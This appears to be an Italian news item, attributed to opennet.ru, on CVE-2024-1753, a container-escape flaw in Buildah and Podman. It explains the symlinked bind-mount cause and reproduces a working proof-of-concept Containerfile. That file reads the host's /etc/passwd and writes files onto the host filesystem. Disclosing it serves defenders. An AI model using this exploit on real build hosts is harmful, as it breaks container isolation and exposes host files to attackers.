Vulnerabilità in Buildah e Podman che consente di bypassare l'isolamento del contenitore.

Sono state scoperte vulnerabilità nei pacchetti Buildah e Podman (CVE-2024-1753) che consentono l'accesso completo al filesystem dell'ambiente host durante la fase di costruzione di un container eseguito con privilegi di root. Nei sistemi con SELinux attivato, l'accesso al filesystem host è limitato in modalità di sola lettura. Una correzione è attualmente disponibile sotto forma di patch, recentemente inclusa nel repository di codice di Buildah.

La vulnerabilità è causata dal fatto che, durante il montaggio di parti del filesystem tramite il comando 'mount —bind' durante la fase di costruzione RUN, l'argomento con la directory sorgente (parametro 'source=') non viene verificato per l'esistenza nel filesystem root. Un file di configurazione Containerfile predisposto da un attaccante può utilizzare un'immagine del container in cui la directory sorgente per il montaggio è presentata come un collegamento simbolico al filesystem root. In questo caso, l'operazione di montaggio porterà al montaggio all'interno del container del filesystem root dell'ambiente host, consentendo, durante la fase di RUN, l'accesso completo al filesystem dell'ambiente host e permettendo di uscire dal container durante la costruzione con i comandi 'buildah build' o 'podman build'.

Esempio di file maligno Containerfile, la cui costruzione da parte del comando «podman build -f ~/Containerfile .» porterà alla visualizzazione del contenuto di /etc/passwd e alla creazione dei file /BIND_BREAKEOUT e /etc/BIND_BREAKOUT2 nell'ambiente host: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo «ls container root» RUN ls -l / RUN echo «Con exploit mostra host root, non il root del contenitore, e crea /BIND_BREAKOUT in / sull'host» RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo «Con exploit mostra host /etc/passwd, non quello del contenitore, e crea /BIND_BREAKOUT2 in /etc sull'host» RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Fonte: opennet.ru

Acquista un hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista un hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster